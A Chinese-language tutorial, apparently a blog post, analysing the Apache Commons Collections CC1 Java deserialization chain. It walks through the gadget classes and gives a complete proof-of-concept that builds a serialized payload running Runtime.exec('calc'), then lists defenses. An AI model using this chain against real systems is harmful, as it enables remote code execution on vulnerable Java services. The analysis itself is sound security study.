Java反序列化之——cc1链超详细分析
字数 1347 2025-09-23 19:27:46

Apache Commons Collections CC1 反序列化漏洞分析与利用

1. 漏洞概述

Apache Commons Collections 反序列化漏洞(CC1)是一个经典的 Java 反序列化安全漏洞,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。

核心利用机制:通过 TransformedMapLazyMap 触发 InvokerTransformer 的反射调用,最终通过 Runtime.exec() 执行系统命令。

影响版本

  • JDK版本:小于 1.8.0_8u71
  • Commons Collections:3.2.1 及以下版本

2. 环境准备

2.1 所需组件

2.2 Maven 依赖配置

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

3. 漏洞原理分析

3.1 整体利用链

AnnotationInvocationHandler.readObject() 
→ AbstractMapEntryDecorator.setValue() 
→ TransformedMap.checkSetValue() 
→ ChainedTransformer.transform() 
→ InvokerTransformer.transform() 
→ Runtime.getRuntime().exec()

3.2 核心组件分析

3.2.1 InvokerTransformer 类

InvokerTransformer 是漏洞利用的关键,它通过 Java 反射机制动态调用任意类的方法。

关键代码分析

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
}

构造函数

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

利用示例

InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec",                    // 方法名
    new Class[]{String.class}, // 参数类型
    new Object[]{"calc"}       // 参数值
);
invokerTransformer.transform(Runtime.getRuntime());

3.2.2 TransformedMap 类

TransformedMap 是一个装饰器,用于对 Map 的键值进行转换操作。

关键属性

protected final Transformer keyTransformer;
protected final Transformer valueTransformer;

关键方法

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

创建方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

3.2.3 AnnotationInvocationHandler 类

这是反序列化的入口点,其 readObject() 方法会触发整个利用链。

关键代码片段

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) {
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
            memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(
                value.getClass() + "[" + value + "]").setMember(
                annotationType.members().get(name)));
        }
    }
}

4. 漏洞利用详解

4.1 利用链构造

4.1.1 反射调用链构造

需要通过多个 Transformer 组合完成反射调用:

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
});

4.1.2 触发链构造

HashMap<Object,Object> map = new HashMap();
map.put("value", "aa"); // key 必须为 "value"
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chain);

4.2 反序列化触发

4.2.1 获取 AnnotationInvocationHandler

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

4.2.2 创建恶意对象

Object handler = constructor.newInstance(Target.class, transformedMap);

4.2.3 序列化与反序列化

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(handler);
oos.close();

// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
ois.close();

5. 完整 PoC 代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Poc {
    public static void main(String[] args) throws Exception {
        // 构造 Transformer 链
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        });
        
        // 创建 TransformedMap
        HashMap<Object,Object> map = new HashMap();
        map.put("value", "aa");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chain);
        
        // 通过反射创建 AnnotationInvocationHandler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object handler = constructor.newInstance(Target.class, transformedMap);
        
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        oos.writeObject(handler);
        oos.close();
        
        // 反序列化触发
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
        ois.readObject();
        ois.close();
    }
}

6. 关键注意事项

  1. JDK 版本限制:该漏洞仅在 JDK 8u71 之前的版本中有效
  2. Key 值要求:Map 的 key 必须为 "value",对应 Target 注解的方法名
  3. 序列化要求:Runtime 类未实现 Serializable 接口,必须通过反射链获取
  4. 访问权限:需要设置 setAccessible(true) 来访问非公开的构造方法

7. 防御措施

  1. 升级 Commons Collections 到最新版本
  2. 升级 JDK 到 8u71 或更高版本
  3. 使用反序列化过滤器限制可反序列化的类
  4. 对输入流进行严格验证和过滤

8. 总结

CC1 反序列化漏洞是一个典型的 Java 安全漏洞,通过巧妙的利用 Java 反射机制和 Commons Collections 的特性,实现了从反序列化到任意代码执行的完整利用链。理解这个漏洞有助于深入掌握 Java 安全机制和反序列化漏洞的防御方法。

该漏洞的分析展示了多个重要概念:

  • Java 反射机制的安全 implications
  • 装饰器模式在安全漏洞中的利用
  • 反序列化漏洞的触发机制
  • 利用链的构造方法
Apache Commons Collections CC1 反序列化漏洞分析与利用 1. 漏洞概述 Apache Commons Collections 反序列化漏洞(CC1)是一个经典的 Java 反序列化安全漏洞,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。 核心利用机制 :通过 TransformedMap 或 LazyMap 触发 InvokerTransformer 的反射调用,最终通过 Runtime.exec() 执行系统命令。 影响版本 : JDK版本:小于 1.8.0_ 8u71 Commons Collections:3.2.1 及以下版本 2. 环境准备 2.1 所需组件 JDK :jdk-8u65( 下载地址 ) Commons Collections :3.2.1( 下载地址 ) 2.2 Maven 依赖配置 3. 漏洞原理分析 3.1 整体利用链 3.2 核心组件分析 3.2.1 InvokerTransformer 类 InvokerTransformer 是漏洞利用的关键,它通过 Java 反射机制动态调用任意类的方法。 关键代码分析 : 构造函数 : 利用示例 : 3.2.2 TransformedMap 类 TransformedMap 是一个装饰器,用于对 Map 的键值进行转换操作。 关键属性 : 关键方法 : 创建方法 : 3.2.3 AnnotationInvocationHandler 类 这是反序列化的入口点,其 readObject() 方法会触发整个利用链。 关键代码片段 : 4. 漏洞利用详解 4.1 利用链构造 4.1.1 反射调用链构造 需要通过多个 Transformer 组合完成反射调用: 4.1.2 触发链构造 4.2 反序列化触发 4.2.1 获取 AnnotationInvocationHandler 4.2.2 创建恶意对象 4.2.3 序列化与反序列化 5. 完整 PoC 代码 6. 关键注意事项 JDK 版本限制 :该漏洞仅在 JDK 8u71 之前的版本中有效 Key 值要求 :Map 的 key 必须为 "value",对应 Target 注解的方法名 序列化要求 :Runtime 类未实现 Serializable 接口,必须通过反射链获取 访问权限 :需要设置 setAccessible(true) 来访问非公开的构造方法 7. 防御措施 升级 Commons Collections 到最新版本 升级 JDK 到 8u71 或更高版本 使用反序列化过滤器限制可反序列化的类 对输入流进行严格验证和过滤 8. 总结 CC1 反序列化漏洞是一个典型的 Java 安全漏洞,通过巧妙的利用 Java 反射机制和 Commons Collections 的特性,实现了从反序列化到任意代码执行的完整利用链。理解这个漏洞有助于深入掌握 Java 安全机制和反序列化漏洞的防御方法。 该漏洞的分析展示了多个重要概念: Java 反射机制的安全 implications 装饰器模式在安全漏洞中的利用 反序列化漏洞的触发机制 利用链的构造方法